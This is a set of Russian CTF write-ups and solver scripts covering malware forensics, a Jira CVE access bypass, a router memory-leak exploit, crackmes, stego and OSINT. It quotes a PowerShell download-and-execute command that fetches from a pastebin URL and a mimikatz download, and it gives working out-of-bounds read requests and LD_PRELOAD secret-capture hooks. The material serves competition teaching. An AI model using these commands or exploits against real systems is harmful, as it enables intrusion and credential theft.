2) `olevba` показал `Workbook_Open`, где строка дважды декодируется из base64.
3) После декодирования получен URL: `https://pastebin.com/raw/hz2rEByR`, который передается в `powershell.exe -c IEX (New-Object Net.WebClient).DownloadString(...)`.
Итог: `caplag{https://pastebin.com/raw/hz2rEByR}`
## Q4) Через Reverse shell хакер скачал еще один вредоносный файл для третей стадии атаки. Укажите URL
1) Открыли кеш загрузок CryptoAPI: `C:\Users\PC31\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\5E417CD142DEC44E17C581F01DB81204`.
2) Внутри файла в UTF16LE хранится полный URL загрузки архива.
Итог: `caplag{https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20220919/mimikatz_trunk.zip}`
## Q5) Укажите полный путь к архиву где лежит mimikatz и название программы (c расширением) с помощью которой хакер скачал его. формат: Path_filename
1) В `C:\Windows\Prefetch\CERTUTIL.EXE-79A712E5.pf` (после распаковки MAM/LZXPRESSHuffman) в списке ссылок указаны файлы:
- `C:\Users\PC31\AppData\Local\Temp\.settings.zip`
- `C:\Windows\SysWOW64\certutil.exe`
2) Это подтверждает, что архив с mimikatz сохранен как `.settings.zip`, а скачивание выполнено `certutil.exe`.
Итог: `caplag{C:\Users\PC31\AppData\Local\Temp\.settings.zip_certutil.exe}`
## Q6) Укажите полную дату последнего запуска certutil.exe и кол-во запусков этой программы. формат: дд.мм.гггг/чч:мм:cc_count.
1) В `C:\Windows\Prefetch\CERTUTIL.EXE-79A712E5.pf` распаковали MAMблок (LZXPRESSHuffman).
2) В распакованном файле:
- `last_run_time` (FILETIME) находится по смещению `0x80``20250630 12:18:36Z` (UTC).
- `run_count` (DWORD) по смещению `0xC8``1`.
3) Перевод в локальное время (UTC+3) дает `30.06.2025 15:18:36`.
Итог: `caplag{30.06.2025/15:18:36_1}`
## Q7) Укажите сайт который пользователь посетил больше всего
1) История браузера пользователя находится в Edge: `C:\Users\PC31\AppData\Local\Microsoft\Edge\User Data\Default\History`.
2) В SQLiteтаблице `urls` максимальный `visit_count` у страниц домена `unisender.com`.
Итог: `caplag{https://www.unisender.com}`

29
Jira/writeup.md Normal file
View File

@@ -0,0 +1,29 @@
# Jira: CVE-2025-22157 - обход контроля доступа при Print/Export
## Сценарий
Была развернута уязвимая версия Jira. Для каждого стажера создали sub-task, к которому у него не было прав. Через уязвимость он мог увидеть название (`summary`) и ссылку на эту подзадачу, выполнив Print или Export Word у родительской задачи.
## Суть уязвимости
CVE-2025-22157 описывает утечку данных при печати/экспорте. Пользователь без доступа к подзадаче может получить ее `summary` и ссылку из результата Print/Export родительской задачи. Это не "захват админки", а обход контроля доступа на уровне экспорта.
## Проверка версии
1. Administration -> System -> System info (или About Jira).
2. Версии 9.12.0-9.12.19 уязвимы. Например, 9.12.18 попадает в диапазон.
## Шаги воспроизведения
1. Создать родительскую задачу и sub-task, ограничить доступ к sub-task.
2. Зайти под пользователем без прав.
3. Выполнить Print или Export Word у родительской задачи.
4. В результате будет виден `summary` и ссылка на sub-task.
## Влияние
- Утечка метаданных закрытых задач.
- Раскрытие структуры проекта и активности.
## Митигирование
- Обновить Jira до версии с фиксом.
- Временно ограничить Print/Export для ролей без доступа к подзадачам.
## Источники
- Atlassian Jira advisory по CVE-2025-22157
- Atlassian Documentation (диапазон версий)

View File

@@ -0,0 +1,78 @@
# Разбор решения MEGA-router: задачи 1 и 2
Ниже разбор решения первых двух задач. Сначала общий вход (как получить бинарник), затем отдельно по каждому флагу.
## Общий вход: утечка бинарника через /ping
- Авторизация не нужна: `logged_in()` просто проверяет, что в Cookie есть и `username=`, и `password=`; значения не важны (`challenge/src/server_http.hpp`). Альтернатива — дефолтные креды `admin/admin` или `admin/admin888` (`challenge/src/server.cpp`).
- `/ping?id=...` читает 4096 байт из `Global.BUFFER + offset*4096` без проверки границ и отдает base64 (`challenge/src/server.cpp`). Падение дочернего процесса дает пустой `result`, сервер не падает.
- Зацепка: зайти на `/portal` с любыми Cookie `username=...; password=...` и открыть `main.js` — там видно, что клиент делает `POST /ping` и затем многократные `GET /ping?id=...`, то есть это ключевая точка.
- Так как `offset` — беззнаковый и `-` запрещен, читаем «назад» через переполнение: `4096 = 2^12`, значит `2^64/4096 = 2^52`. Берем `offset = 2^52 - N`, получаем адрес `BUFFER - N*4096`. Этим выходим на `.text`/`.rodata` и находим ELF.
- Минимальный запрос, который дает первую зацепку в ответе (base64-кусок памяти) и позволяет начать сканировать ELF:
```
GET /ping?id=4503599627370495 HTTP/1.1
Host: <host>:31337
Cookie: username=a; password=b
```
- Дальше — обычный дамп страниц и склейка в файл; можно искать строку `ELF` или специфичные строки вида `/giv_me_please_flag_...`.
## Задача 1 (Flag 1)
- В бинарнике виден скрытый эндпоинт `"/giv_me_please_flag_nu_ochen_nado"` (`challenge/src/server.cpp`).
- Делаем GET на него, ответ — редирект на `/index` с заголовком `Flag: <base64>`. Декодируем base64.
- Дешифрование: байты зашифрованы `ROTR3` после XOR с `(i*4 + 0xc0)`. Значит, для каждого байта: `ROTL3`, затем XOR.
```python
import base64
def rotl8(x, n):
return ((x << n) | (x >> (8 - n))) & 0xff
cipher = base64.b64decode(flag_header)
plain = bytes(
rotl8(b, 3) ^ ((i * 4 + 0xC0) & 0xff)
for i, b in enumerate(cipher)
)
print(plain.decode())
```
- Итоговый флаг: `caplag{r0ut3r_p0rtals_ar3_ult1mat3ly_imp3n3trabl3_b3caus3_th3y_ar3_r3al_w3bapp}`.
## Задача 2 (Flag 2)
- В логике `/login` видно, что для юзера `hoEjB9OtHLCuDibAT6Ag` вызывается `gen_flag`, но он защищен длинной подстрокой и MD5 (прямой вызов нецелесообразен) (`challenge/src/server.cpp`).
- В `gen_flag` видно массив `flag_byte_offsets[]` и схему: берется `pi_bytes.bin` (2048 байт, соответствуют позициям 1_000_000..1_002_047), а флаг строится как `bytes[offset - 1_000_000]`.
- Поэтому нужно: (1) вытащить `flag_byte_offsets[]` из слитого бинарника; (2) сгенерировать байты π для диапазона 1_000_000..1_002_047. Функция `get_byte` — это две hexцифры π подряд. Быстро считается через BBP (как в `#ifdef DEBUG` части, `challenge/src/server.cpp`).
```python
def pi_hex_digit(n):
n -= 1
def series(m):
s = 0.0
for k in range(n + 1):
ak = 8 * k + m
s = (s + pow(16, n - k, ak) / ak) % 1.0
k = n + 1
t = 1.0
while True:
ak = 8 * k + m
t /= 16.0
term = t / ak
if term < 1e-17:
break
s = (s + term) % 1.0
k += 1
return s
x = (4*series(1) - 2*series(4) - series(5) - series(6)) % 1.0
return int(x * 16)
def get_byte(pos):
return (pi_hex_digit(pos) << 4) | pi_hex_digit(pos + 1)
pi_bytes = [get_byte(p) for p in range(1_000_000, 1_002_048)]
flag = ''.join(chr(pi_bytes[o - 1_000_000]) for o in offsets)
print(flag)
```
- Итоговый флаг: `caplag{leibniz_david_bailey_peter_b0rwein_and_sim0n_pl0uffe_good_idea_guys_00}`.

8
Marathon-PPC/README.md Normal file
View File

@@ -0,0 +1,8 @@
## Информация для участников
> Каждый уважающий себя CTFер обязан решать 150 примеров за 10 секунд
## Решение
Готовый скрипт: [solve/solve.py](solve/solver.py).
## Флаг
`caplag{There_1s_n0thing_m0re_1mp0rtant_f0r_pract1ce_than_g00d_the0ry}`

View File

@@ -0,0 +1,162 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import sys
import os
import math
import socket
from typing import List, Tuple
def fib_fast(n: int) -> int:
def f(k: int) -> Tuple[int, int]:
if k == 0:
return (0, 1)
a, b = f(k >> 1)
c = a * (2 * b - a)
d = a * a + b * b
if k & 1:
return (d, c + d)
else:
return (c, d)
return f(n)[0]
def arith_sum(a: int, b: int, s: int) -> int:
n = (b - a) // s + 1
return n * (a + b) // 2
def integral_poly(a: int, b: int, coeff: List[int]) -> int:
res = 0
for k, c in enumerate(coeff):
e = k + 1
if c % e != 0:
raise ValueError("Non-integer term encountered; protocol assumption violated")
ce = c // e
res += ce * (pow(b, e) - pow(a, e))
return res
def eval_expr(expr: str) -> int:
t = expr.strip().split()
if not t:
raise ValueError("Empty expression")
op = t[0]
def i(x: str) -> int:
return int(x)
if op == "plus":
return i(t[1]) + i(t[2])
if op == "minus":
return i(t[1]) - i(t[2])
if op == "times":
return i(t[1]) * i(t[2])
if op == "div":
a, b = i(t[1]), i(t[2])
return a // b
if op == "mod":
a, b = i(t[1]), i(t[2])
return a % b
if op == "pow":
a, b = i(t[1]), i(t[2])
return pow(a, b)
if op == "sqrt":
a = i(t[1])
r = math.isqrt(a)
return r
if op == "abs":
return abs(i(t[1]))
if op == "fact":
return math.factorial(i(t[1]))
if op == "gcd":
return math.gcd(i(t[1]), i(t[2]))
if op == "lcm":
a, b = i(t[1]), i(t[2])
g = math.gcd(a, b)
return a // g * b
if op == "det2":
a, b, c, d = i(t[1]), i(t[2]), i(t[3]), i(t[4])
return a * d - b * c
if op == "det3":
a, b, c = i(t[1]), i(t[2]), i(t[3])
d, e, f = i(t[4]), i(t[5]), i(t[6])
g, h, j = i(t[7]), i(t[8]), i(t[9])
return a * (e * j - f * h) - b * (d * j - f * g) + c * (d * h - e * g)
if op == "sum":
if t[3] != "step":
raise ValueError("Expected 'step' in sum expression")
a, b, s = i(t[1]), i(t[2]), i(t[4])
return arith_sum(a, b, s)
if op == "fib":
return fib_fast(i(t[1]))
if op == "lin1":
a, b, c = i(t[1]), i(t[2]), i(t[3])
return (c - b) // a
if op == "lin2x":
a1, b1, c1, a2, b2, c2 = i(t[1]), i(t[2]), i(t[3]), i(t[4]), i(t[5]), i(t[6])
D = a1 * b2 - a2 * b1
return (c1 * b2 - c2 * b1) // D
if op == "lin2y":
a1, b1, c1, a2, b2, c2 = i(t[1]), i(t[2]), i(t[3]), i(t[4]), i(t[5]), i(t[6])
D = a1 * b2 - a2 * b1
return (a1 * c2 - a2 * c1) // D
if op == "integral":
a, b = i(t[1]), i(t[2])
if t[3] != "poly":
raise ValueError("Expected 'poly' in integral expression")
coeff = list(map(int, t[4:]))
return integral_poly(a, b, coeff)
raise ValueError(f"Unknown operator: {op}")
def run(host: str, port: int):
with socket.create_connection((host, port)) as sock:
sock_file = sock.makefile("rwb", buffering=0)
pending = None # (expr_str, answer)
while True:
line = sock_file.readline()
if not line:
break
try:
s = line.decode().rstrip("\r\n")
except Exception:
continue
print(f"[SRV] {s}")
if s.startswith("Task ") and ":" in s:
try:
expr = s.split(":", 1)[1].strip()
except Exception:
expr = ""
ans = eval_expr(expr)
pending = (expr, ans)
print(f"[SOLVE] {expr} => {ans}")
continue
if s.strip().startswith(">") and pending is not None:
print(f"[SEND] {pending[1]}")
ans_bytes = str(pending[1]).encode() + b"\n"
sock_file.write(ans_bytes)
sock_file.flush()
pending = None
continue
if "Here is your flag:" in s or s.endswith("Bye."):
print(s)
continue
def main():
host = sys.argv[1] if len(sys.argv) >= 2 else os.getenv("HOST", "127.0.0.1")
port = int(sys.argv[2]) if len(sys.argv) >= 3 else int(os.getenv("PORT", "5000"))
run(host, port)
if __name__ == "__main__":
main()

View File

@@ -0,0 +1,12 @@
## Информация для участников
> MCVM - Metamorphic Core Virtual Machine наша новейшая разработка.
Попытай свои силы, реверсер! ;)
## Выдать участникам
public/MetamorphicCore.exe
## Решение
райтап лежит в solve/writeup.md
## Флаг
`caplag{6ed9095fc6d38efbdea82031d16150c1b80c16cd641a135f117bdc411dbba68a}`

View File

@@ -0,0 +1,289 @@
# Writeup: Metamorphic Core Crackme
## **Используемые инструменты**
- **DnSpy**
- **Detect It Easy**
- **UPX**
- **ExtremeDumper**
- **.NET Reactor Slayer**
---
## **Шаг 1. UPX упаковка**
Загружаем файл в **Detect It Easy** и видим, что он упакован **UPX**.
Попытка распаковать через `upx.exe -d <file>` неудачна — заголовок повреждён.
Открываем бинарь в **Hex Editor** и сравниваем заголовок с эталонным.
Находим строку `MCVM` вместо `UPX0`. Исправляем байты на **UPX0** и успешно распаковываем через `upx -d`.
---
## **Шаг 2. Native-загрузчик .NET Reactor**
Повторная проверка в **Detect It Easy** показывает: код нативный, обфусцирован **.NET Reactor**.
Это значит, что бинарь упакован в **native loader**.
Открываем EXE в **DnSpy (32-bit)** и запускаем. На точке **CreateProcess** видно, что процесс распакован и висит в памяти.
Используем **ExtremeDumper** → находим `task.exe` → делаем дамп. Получаем два файла:
- **_.dll**
- **VmHost.exe**
---
## **Шаг 3. Деобфускация .NET Reactor**
Открываем **VmHost.exe** в **DnSpy** или **Detect It Easy** — видим сильную обфускацию.
Запускаем **.NET Reactor Slayer**, выбираем все опции и запускаем деобфускацию.
Теперь бинарь читаем и доступен для отладки.
---
## **Шаг 4. Отладка VM**
Открываем **VmHost.exe** в **DnSpy**.
Ставим брейкпоинт в произвольном месте и смотрим окно **Local Variables**.
Видим переменные:
- **this.dictionary_***
- **this.list_***
- **this.stack_***
- **this.object_***
Здесь хранятся строки с именами функций виртуальной машины: **SHA256**, **ExitProcess**, **sha256_hex**, **tohex** и др.
Значит, вызовы идут через опкод **CALL** в VM.
---
## **Шаг 5. Поиск вызовов функций**
Находим функцию, отвечающую за вызов методов:
```csharp
private void method_3(int int_3, int int_4)
{
Class3.Struct0 @struct;
for (;;)
{
IL_177:
@struct = this.struct0_0[int_3];
int num = 0; <-------------------------- Тут ставим брейкпоинт
if (<Module>{3a1b6496-e3bc-4dd9-bc7f-29db217cfc86}.m_b53c11d96ca540509b6b9be7f90e8419 != 0)
{
goto IL_F4;
}
Class3.Struct1 struct2;
for (;;)
{
IL_123:
int num2;
switch (num)
{
case 0:
goto IL_B5;
case 1:
goto IL_F4;
case 2:
goto IL_177;
case 3:
case 4:
goto IL_A0;
case 5:
num2--;
num = 2;
if (<Module>{3a1b6496-e3bc-4dd9-bc7f-29db217cfc86}.m_656fb7edff9a4bc3a280e41bdde428a0 != 0)
{
goto IL_A0;
}
continue;
case 6:
goto IL_6B;
case 7:
goto IL_D4;
case 8:
goto IL_197;
case 9:
goto IL_4F;
case 10:
return;
case 11:
goto IL_44;
case 12:
goto IL_62;
case 13:
goto IL_47;
case 14:
num2 = @struct.int_1 - 1;
num = 0;
if (<Module>{3a1b6496-e3bc-4dd9-bc7f-29db217cfc86}.m_9fc4e4f74325466da9db2cc7afcf1357 == 0)
{
goto IL_A0;
}
continue;
case 15:
goto IL_1B4;
case 16:
goto IL_30;
case 17:
break;
default:
goto IL_B5;
}
IL_06:
struct2.object_0[num2] = this.stack_0.Pop();
num = 5;
if (<Module>{3a1b6496-e3bc-4dd9-bc7f-29db217cfc86}.m_61742430ed914e4ca05833d60e3db39b == 0)
{
break;
}
continue;
IL_A0:
if (num2 >= 0)
{
goto IL_06;
}
num = 0;
if (<Module>{3a1b6496-e3bc-4dd9-bc7f-29db217cfc86}.m_4090cbdba33d4db1ba74b2a9eac02aa1 == 0)
{
continue;
}
IL_B5:
this.stack_1.Push(struct2);
num = 3;
if (<Module>{3a1b6496-e3bc-4dd9-bc7f-29db217cfc86}.m_fe002c72199d46f0b4a52d0c2bff689e == 0)
{
goto Block_4;
}
}
continue;
IL_30:
Class3.Struct1 struct3;
struct2 = struct3;
num = 14;
if (<Module>{3a1b6496-e3bc-4dd9-bc7f-29db217cfc86}.m_0425df13f0c045d99d31a6db275fbd9e == 0)
{
goto IL_44;
}
goto IL_123;
IL_6B:
struct3.int_1 = 0;
num = 3;
if (<Module>{3a1b6496-e3bc-4dd9-bc7f-29db217cfc86}.m_d940aa626e044e7a9f22554ba2f6bb07 == 0)
{
goto IL_30;
}
goto IL_123;
IL_62:
int num3;
struct3.int_0 = num3;
goto IL_6B;
IL_4F:
struct3.object_0 = new object[@struct.int_2];
goto IL_62;
IL_47:
struct3 = default(Class3.Struct1);
goto IL_4F;
IL_45:
int num4;
num3 = num4;
goto IL_47;
IL_D4:
num4 = this.int_0;
goto IL_45;
IL_F4:
if (int_4 != @struct.int_1)
{
goto Block_6;
}
if (this.stack_1.Count != 0)
{
goto IL_D4;
}
num = 4;
if (<Module>{3a1b6496-e3bc-4dd9-bc7f-29db217cfc86}.m_b0871c76b442400c9823273656177106 == 0)
{
goto IL_123;
}
IL_44:
num4 = -1;
goto IL_45;
}
Block_4:
goto IL_1B4;
Block_6:
IL_197:
throw new Exception(Class5.smethod_17(656) + @struct.string_0);
IL_1B4:
this.int_0 = @struct.int_0;
}
```
В локальной переменной **@struct** появляются названия функций, которые будут выполняться.
Здесь видим вызов **exists**, и в **object_0** лежит строка:
```
C:\Users\user\AppData\Local\Temp\.password\metamorphic.core
```
Значит, программа требует этот файл. Создаём его с любыми данными:
```
test1
test2
test3
```
## **Шаг 6. Работа с файлом**
Перезапускаем отладку. Теперь программа не падает, т.к. файл найден.
Следующий вызов — **"read_all_ascii"**. В **object_0** появляются строки из файла.
Затем вызываются **slice** и вспомогательные функции, которые берут первые две строки.
После вызывается **abort**, и программа завершается.
## **Шаг 7. Проверка условий (IF)**
Ищем в коде VM функции условий IF:
```csharp
[CompilerGenerated]
private bool method_21(object object_2, object object_3)
{
return this.method_8(object_2, object_3); // Equals
}
[CompilerGenerated]
private bool method_22(object object_2, object object_3)
{
return !this.method_8(object_2, object_3); // Equals
}
```
Ставим брейкпоинты и видим сравнение строк:
```csharp
object_2 = "test1"
object_3 = "MetamorphicVirtualMachine"
```
Значит, первая строка файла должна быть MetamorphicVirtualMachine.
## **Шаг 8. XOR-дешифровка второй строки**
Дальше вызывается функция **xorstr**.
В **object_0** лежит строка **+)8$)/e%+':-zxz}** и ключ **0x48**.
Расшифровка XOR даёт строку:
```
caplag-mcore2025
```
Эта строка сравнивается со второй строкой файла.
Итого, правильное содержимое файла **metamorphic.core**:
```
Metamorphic Core :: crackme
Привет: DESKTOP-6IRVEAN, user user
OK: заголовки валидны
caplag{6ed9095fc6d38efbdea82031d16150c1b80c16cd641a135f117bdc411dbba68a}
Готово
```
✅ Флаг:
```
caplag{6ed9095fc6d38efbdea82031d16150c1b80c16cd641a135f117bdc411dbba68a}
```

View File

@@ -0,0 +1,14 @@
## Информация для участников
В ходе наблюдения за объектом была получена видеозапись. По кадру с видео определи, что объединяет все эти данные и где искать объект.
Формат флага: caplag{Grid Reference, NaPTAN: ATCOCode}.
## Выдать участникам
Фото для участников: public/f2eri07uh.PNG
## Решение
По формату флага понятно, что речь идет о UK. По полученному списку с фото понять (нагуглить, ИИ), что это обозначение рейсов ЖД маршрутов в UK с временем отправления (например, тут realtimetrains.co.uk). Найти нужные маршруты следования поезда и понять, что все они проезжают через станцию в York (станция York одна есть во всех 7ми маршрутах). Идем на openrailwaymap.app и ищем станцию, жмем View и видим naptan:AtcoCode (часть флага), тут же переходим по ссылке wikidata и там ищем OS grid reference или ищем grid как угодно.
https://gridreferencefinder.com/
## Флаг
caplag{SE596517, 9100YORK}

View File

@@ -0,0 +1,17 @@
## Информация для участников
Вы — системный администратор Linux-сервера без графического интерфейса. На сервере запущено множество фоновых процессов. Среди них скрыт ключ для расшифровки зашифрованного(Файл зашифрован стандартным инструментом Linux для AES) флага (flag.enc). Ваша задача — написать скрипт (на bash, sh или Python), чтобы идентифицировать нужный процесс, извлечь ключ и декодировать флаг. Флаг в формате caplag{...}.
## Выдать участникам
- `public/CTF_Admin_Medium.ova` - виртуальный образ VM
**Данные от VM**:
Логин: ctfuser
Пароль: ctfuser
## Решение
1) Загружаем виртуальную машину
2) Запускаем скрипт для решения: [solve/solve.sh](solve/solve.sh)
3) скрипт формирует decoded_flag.txt
## Флаг
`caplag{CTF_1s_Jus7_L3g4l_H4ck1ng}`

View File

@@ -0,0 +1,19 @@
#!/bin/bash
# 1. Найти процесс, где в окружении есть KEY
for pid in $(ps -e -o pid=); do
if strings /proc/$pid/environ 2>/dev/null | grep -q 'KEY='; then
KEY=$(strings /proc/$pid/environ 2>/dev/null | grep 'KEY=' | head -n1 | cut -d= -f2-)
echo "Found KEY in PID $pid"
break
fi
done
[ -z "$KEY" ] && { echo "KEY not found"; exit 1; }
# 2. Расшифровать flag.enc
openssl enc -aes-256-cbc -d -salt -pbkdf2 -iter 100000 \
-in flag.enc -out decoded_flag.txt \
-pass pass:"$KEY"
cat decoded_flag.txt

3
README.md Normal file
View File

@@ -0,0 +1,3 @@
# Kubok-Regionov
Райтапы для заданий с Кубка Регионов, проходившего с 20.12.2025.21.12.2025

View File

@@ -0,0 +1,13 @@
## Информация для участников
> Каждый запуск ReverseConveyor — как смена на ночном заводе
## Выдать участникам
Удалённый сервис: `http://<host>:8080`.
(Дополнительных файлов не требуется.)
## Решение
Основная идея — реверснуть все 4 крякми, найти закономерность, понять паттерн (крякми каждый раз одинаковые - пароли разные). Автоматически достать секреты: перехватить `strcmp`/`memcmp` через `LD_PRELOAD`, извлечь случайные байты и отправить правильный ответ.
Готовый скрипт: [solve/auto_solve.py](solve/auto_solve.py).
## Флаг
`caplag{1_L0v3_R3V3rs3_3sp3C1411Y_4Ut0M4t10N}`

View File

@@ -0,0 +1,270 @@
#!/usr/bin/env python3
"""
Usage:
python3 auto_solve.py --url <...>
"""
import argparse
import json
import os
import re
import subprocess
import sys
import tempfile
import urllib.request
import zipfile
from pathlib import Path, PurePosixPath
from stat import S_IXUSR, S_IXGRP, S_IXOTH
HOOK_SOURCE = r"""
#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
typedef int (*strcmp_t)(const char *, const char *);
typedef int (*memcmp_t)(const void *, const void *, size_t);
static __thread int rc_in_hook = 0;
int strcmp(const char *s1, const char *s2) {
static strcmp_t real_strcmp = NULL;
if (!real_strcmp) {
real_strcmp = (strcmp_t)dlsym(RTLD_NEXT, "strcmp");
}
if (!rc_in_hook && s2) {
rc_in_hook = 1;
dprintf(2, "[RC_HOOK_STR] secret=%s\n", s2);
rc_in_hook = 0;
}
return real_strcmp(s1, s2);
}
int memcmp(const void *s1, const void *s2, size_t n) {
static memcmp_t real_memcmp = NULL;
if (!real_memcmp) {
real_memcmp = (memcmp_t)dlsym(RTLD_NEXT, "memcmp");
}
if (!rc_in_hook && s2 && n <= 1024) {
rc_in_hook = 1;
dprintf(2, "[RC_HOOK_MEM] len=%zu data=", n);
const unsigned char *p = (const unsigned char *)s2;
for (size_t i = 0; i < n; ++i) {
dprintf(2, "%02x", p[i]);
}
dprintf(2, "\n");
rc_in_hook = 0;
}
return real_memcmp(s1, s2, n);
}
"""
MEM_RE = re.compile(r"\[RC_HOOK_MEM\]\s*len=(\d+)\s+data=([0-9a-fA-F]+)")
STR_RE = re.compile(r"\[RC_HOOK_STR\]\s*secret=(.+)")
DEFAULT_URL = os.environ.get("RC_URL", "URL")
def normalize_member_name(name: str) -> str:
return PurePosixPath(name).name
def request_archive(base_url: str, target_dir: Path) -> tuple[str, Path, list[str]]:
url = base_url.rstrip('/') + '/generate'
req = urllib.request.Request(url, data=b'', method='POST')
try:
with urllib.request.urlopen(req) as resp:
data = resp.read()
cookies = resp.headers.get_all('Set-Cookie') or []
except urllib.error.HTTPError as exc:
raise RuntimeError(f"/generate failed: {exc.read().decode(errors='ignore')}") from exc
session_id = None
for cookie in cookies:
parts = cookie.split(';')
for part in parts:
part = part.strip()
if part.startswith('session_id='):
session_id = part.split('=', 1)[1]
break
if session_id:
break
if not session_id:
raise RuntimeError('session_id cookie was not returned by the server')
archive_path = target_dir / 'bundle.zip'
archive_path.write_bytes(data)
extract_dir = target_dir / 'crackmes'
extract_dir.mkdir(parents=True, exist_ok=True)
with zipfile.ZipFile(archive_path, 'r') as zf:
archive_order = []
for member in zf.namelist():
normalized = normalize_member_name(member)
if normalized and normalized not in archive_order:
archive_order.append(normalized)
zf.extractall(extract_dir)
archive_order = [name for name in archive_order if name in EXTRACTORS]
if len(archive_order) != len(EXTRACTORS):
missing = set(EXTRACTORS) - set(archive_order)
raise RuntimeError(f"unexpected crackme list in archive, missing: {sorted(missing)}")
for item in extract_dir.iterdir():
if item.is_file():
mode = item.stat().st_mode | S_IXUSR | S_IXGRP | S_IXOTH
item.chmod(mode)
return session_id, extract_dir, archive_order
def build_hook(temp_dir: Path) -> Path:
src = temp_dir / 'rc_hook.c'
so = temp_dir / 'rc_hook.so'
src.write_text(HOOK_SOURCE)
compile_cmd = ['gcc', '-shared', '-fPIC', '-O2', str(src), '-o', str(so), '-ldl']
try:
subprocess.run(compile_cmd, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
except FileNotFoundError as exc:
raise RuntimeError('gcc is required to build the hook but was not found') from exc
return so
def run_binary(binary: Path, hook: Path, payload: bytes, timeout: float = 3.0) -> str:
env = os.environ.copy()
env['LD_PRELOAD'] = str(hook)
proc = subprocess.run(
[str(binary)],
input=payload,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
env=env,
timeout=timeout,
check=False,
)
return proc.stderr.decode(errors='ignore')
def extract_pass1(binary: Path, hook: Path) -> str:
logs = run_binary(binary, hook, b'test\n')
m = STR_RE.search(logs)
if not m:
raise RuntimeError('Failed to capture strcmp secret for crackme1')
return m.group(1).strip()
def extract_mem_secret(binary: Path, hook: Path, payload: bytes) -> tuple[int, bytes]:
logs = run_binary(binary, hook, payload)
m = MEM_RE.search(logs)
if not m:
raise RuntimeError(f'No memcmp hook output for {binary.name}')
length = int(m.group(1))
data = bytes.fromhex(m.group(2))
return length, data[:length]
def extract_pass2(binary: Path, hook: Path) -> str:
for length in range(1, 33):
try:
_, data = extract_mem_secret(binary, hook, ("A" * length + "\n").encode())
break
except RuntimeError:
continue
else:
raise RuntimeError('Unable to trigger memcmp for crackme2')
key = b'cyber32'
plaintext = bytes(data[i] ^ key[i % len(key)] for i in range(len(data)))
return plaintext.decode()
def extract_pass3(binary: Path, hook: Path) -> str:
payload = b"0" * 64 + b"\n"
logs = run_binary(binary, hook, payload)
matches = list(MEM_RE.finditer(logs))
if not matches:
raise RuntimeError("No memcmp detected in crackme3")
for match in reversed(matches):
length = int(match.group(1))
hex_data = match.group(2)
if length == 32 and len(hex_data) == 64:
return hex_data.lower()
last = matches[-1]
length = int(last.group(1))
data = bytes.fromhex(last.group(2))[:length]
return data.hex()
def extract_pass4(binary: Path, hook: Path) -> str:
_, data = extract_mem_secret(binary, hook, b'A' * 4)
return data.hex()
EXTRACTORS = {
'crackme1': extract_pass1,
'crackme2': extract_pass2,
'crackme3': extract_pass3,
'crackme4': extract_pass4,
}
def solve_in_order(crackme_dir: Path, hook: Path, archive_order: list[str]) -> list[str]:
answers = []
for name in archive_order:
extractor = EXTRACTORS.get(name)
if not extractor:
raise RuntimeError(f'unknown crackme entry: {name}')
binary = crackme_dir / name
if not binary.exists():
raise RuntimeError(f'binary {binary} was not extracted')
answers.append(extractor(binary, hook))
return answers
def submit_answer(base_url: str, session_id: str, combined: str) -> dict:
url = base_url.rstrip('/') + '/submit'
payload = json.dumps({'answer': combined}).encode()
headers = {
'Content-Type': 'application/json',
'Cookie': f'session_id={session_id}',
}
req = urllib.request.Request(url, data=payload, method='POST', headers=headers)
try:
with urllib.request.urlopen(req) as resp:
return json.loads(resp.read().decode())
except urllib.error.HTTPError as exc:
raise RuntimeError(f'/submit failed: {exc.read().decode(errors="ignore")}') from exc
def main():
parser = argparse.ArgumentParser(description='Automatic solver for ReverseConveyor')
parser.add_argument('--url', default=DEFAULT_URL, help='Base URL of the service (default: %(default)s)')
args = parser.parse_args()
with tempfile.TemporaryDirectory() as tmp:
tmp_path = Path(tmp)
session_id, crackme_dir, archive_order = request_archive(args.url, tmp_path)
hook = build_hook(tmp_path)
print(f"[+] Archive order: {' '.join(archive_order)}")
parts = solve_in_order(crackme_dir, hook, archive_order)
combined = '_'.join(parts)
print(f'[+] Answer: {combined}')
result = submit_answer(args.url, session_id, combined)
if result.get('ok'):
print(f"[+] Flag: {result['flag']}")
else:
print('[-] Server rejected the answer:', result)
if __name__ == '__main__':
try:
main()
except Exception as exc:
print(f'[!] {exc}', file=sys.stderr)
sys.exit(1)

View File

@@ -0,0 +1,12 @@
## Информация для участников
Вы наткнулись на таинственное изображение super_easy_secret.png, которое, по слухам, скрывает секретный флаг. Разгадайте, что спрятано внутри! Формат флага: caplag{...}.
## Выдать участникам
- `public/super_easy_secret.png`
## Решение
Скрипт для решения: [solve/extract_flag_super_easy.rs](solve/extract_flag_super_easy.rs)
Решение с помощью stegsolve: [solve/solve.jpg](solve/solve.jpg)
## Флаг
`caplag{H1dD3n$3cr3t}`

View File

@@ -0,0 +1,42 @@
use image::open;
use std::path::Path;
fn main() -> Result<(), Box<dyn std::error::Error>> {
// Открываем изображение
let img = open(&Path::new("super_easy_secret.png"))?.to_rgb8();
// Извлекаем ровно 160 битов из красного канала (20 символов)
let mut bits = Vec::new();
for pixel in img.pixels().take(160) {
let lsb = pixel[0] & 1; // LSB красного канала
bits.push(lsb);
}
// Проверяем количество битов
if bits.len() < 160 {
return Err("Недостаточно битов для флага".into());
}
// Собираем биты в байты
let mut bytes = Vec::new();
for chunk in bits[..160].chunks(8) {
if chunk.len() == 8 {
let mut byte = 0u8;
for (i, &bit) in chunk.iter().enumerate() {
byte |= bit << (7 - i);
}
bytes.push(byte);
}
}
// Проверяем количество байтов
if bytes.len() < 20 {
return Err("Недостаточно байтов для флага".into());
}
// Берем первые 20 байт (длина флага)
let flag = String::from_utf8_lossy(&bytes[..20]);
println!("Flag: {}", flag);
Ok(())
}

Binary file not shown.

After

Width:  |  Height:  |  Size: 72 KiB

View File

@@ -0,0 +1,17 @@
## Информация для участников
Указать координаты местоположения откуда сделано фото, с точностью до 0,001.
Формат флага: caplag{ХХ.XXX,YY.YYY}
## Выдать участникам
Фото для участников: public/24.jpg
## Решение
### Первый способ:
Сделать поиск по фото. Выдаст мусор среди них ссылка на пикабу, там можно понять, что это Истра. Идем на панорамы, ищем это место и смотрим координаты, сделана точность 0.001 для такого решения.
### Второй способ:
